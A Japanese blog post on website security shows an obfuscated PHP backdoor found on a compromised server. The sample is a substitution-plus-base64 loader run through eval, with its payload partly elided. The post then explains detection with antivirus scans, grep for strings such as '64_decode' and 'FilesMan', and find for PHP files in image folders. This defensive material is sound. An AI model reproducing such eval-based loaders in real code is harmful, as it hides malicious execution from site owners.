不正プログラムを仕込む方法
WEBサイトは、常にセキュリティリスクに晒されています。
今回は、実際にどのようなプ不正ログラムが仕込まれるのか、
具体例をご紹介します。
実際にサーバーに仕込まれたPHPファイルの例
<?php $qmlzu = 7553; function ohsvbulv($pufdgzrhwj, $rvxeigcobb){$nhnbjg = ''; for($i=0; $i < strlen($pufdgzrhwj); $i++){$nhnbjg .= isset($rvxeigcobb[$pufdgzrhwj[$i]]) ? $rvxeigcobb[$pufdgzrhwj[$i]] : $pufdgzrhwj[$i];} $bmrfc="base" . "64_decode";return $bmrfc($nhnbjg);} $ycisv = 'C6SQn1RXw2CyBV1GhKRG2VxAwGhmpIL1zIk9gk35C6SQn1RXw2CyBVxAwrRShJBAhJqJdbsk5zm0bD79WK'. 'SehV135bOut2Hew2HSti13nlRQ2iZ9WlTJdbsk5zm0bD7Xw2ZeO6Suw1Rmnlr9ObYk5zm0bY35nl'. 'tyn20Xw2CyBNRzZ1BlZ1p95C35ck35baZeT31a1D1alGOCaN7eT31qZfOOpF3YpfPfg'. 'Gs0bYDD2r0NTSwNTSmJTD10zrZN23NIZNpJ2asRpbpxqUhQqb4kdUIfgk35blSK5bNSW27'. '3caYD2r0NTSwNTSmJaNZTTNRt23wETSO7TDZNZNR6zrpJ2aD9FCyBck35bCDD2r0NTSwNTS'. 'mJaNZTTNRt23wETSO7TDZNZNR6zrpJ2asRpbpxqUhQqb4kdUIfgk35b230bJ30bKSK56S'. ~略(数百行)~ 'XlGBGpSrWpKpf2asRpbZftlCoFCy0bYSGw2ZrhK4YhV1GnlNmn29S5bZGw2q9gk35eC35FCyDtV'. 'RQwKSJpF3Yt2BGt2SeOKNmOl1X5bZeTIRz1bDoFCyDhK1XpF3YOvSkwzNehV1QwbYDtVRQw'. 'KSJlX7O5zm0bKSKpbYDhK1X5a7oFCyYpbsYwl0yWGsDhK1Xgk35eC35FC9Sc6S35bDo'; $bjemukctfl = Array('1'=>'V', '0'=>'N', '3'=>'0', '2'=>'X', '5'=>'K', '4'=>'4', '7'=>'B', '6'=>'G', '9'=>'p', '8'=>'r', 'A'=>'v', 'C'=>'Q', 'B'=>'J', 'E'=>'P', 'D'=>'k', 'G'=>'y', 'F'=>'D', 'I'=>'E', 'H'=>'h', 'K'=>'m', 'J'=>'n', 'M'=>'q', 'L'=>'5', 'O'=>'d', 'N'=>'F', 'Q'=>'u', 'P'=>'8', 'S'=>'l', 'R'=>'9', 'U'=>'j', 'T'=>'U', 'W'=>'b', 'V'=>'2', 'Y'=>'g', 'X'=>'z', 'Z'=>'R', 'a'=>'S', 'c'=>'e', 'b'=>'C', 'e'=>'f', 'd'=>'L', 'g'=>'O', 'f'=>'i', 'i'=>'3', 'h'=>'c', 'k'=>'w', 'j'=>'6', 'm'=>'s', 'l'=>'W', 'o'=>'7', 'n'=>'a', 'q'=>'M', 'p'=>'I', 's'=>'A', 'r'=>'1', 'u'=>'t', 't'=>'Y', 'w'=>'Z', 'v'=>'H', 'y'=>'o', 'x'=>'x', 'z'=>'T'); eval/*eys*/(ohsvbulv($ycisv, $bjemukctfl));?>
この例では、base64という形式でプログラム言語を変換し、
さらに、Arrayで文字列を変換し、ソースコードを暗号化しています。
この暗号化したプログラムを、最後にeval関数で実行しているのです。
※base64をデコードして、プログラムを読みたい場合は、
このようなサイトで変換して、解読する必要があります。
不正ファイルの検出方法
このようなPHPファイルが、サーバーに仕込まれるのは、
様々な理由があります。
プログラムの脆弱性、古いバージョンのプラグイン使用、その他セキュリティ不備、等々。
不正に仕込まれたファイルは、1個の場合もあれば、数百数千ファイルに渡る場合もあります。
一つ一つファイルを開いて、書き換えられていないか確認するのは不可能です。
方法としては、
①ウィルスソフトでチェックする
②Shellコマンドでチェックする
の2通りがあります。
ウィルスソフトでチェックする
サーバー上のファイルをローカルに保存し、ウィルスチェックソフトにかける方法です。
自分のパソコンにインストールした、ウィルスソフト(ウィルスバスターやNortonなど)の機能で、
該当ファイル一式を診断します。
ただし、全て検出しきることが出来ない場合もあります。
Shellコマンドでチェックする
Shellコマンドで特定の文字列を検索する方法です。
たとえば、「eval」や「64_decode」という文字列は、不正プログラム実行で多用されます。
このような「悪さをしていそうな文字列※」を指定し、検索します。
find . -type f -name \*.php -exec grep -H "64_decode" {} \;
↑「64_decode」という文字列がphpファイルに存在しないか検索するスクリプト例。
※他にも、「istart」や「@copy」、「FilesMan」など多数あります
また、多くの不正ファイルは、PHPファイルが仕込まれることが多いのですが、
たとえば、画像(image)フォルダには、本来PHPファイルは存在しないはずです。
こういうパターンをチェックする場合は、
find . -type d -name image -exec find {} -name \*.php -ls \;
↑imageフォルダ内にPHPファイルが存在していないかどうかチェックするスクリプト例。
ハッカーたちは、こういったプログラムを使っています。
セキュリティ被害に遭ってしまった場合のご参考に。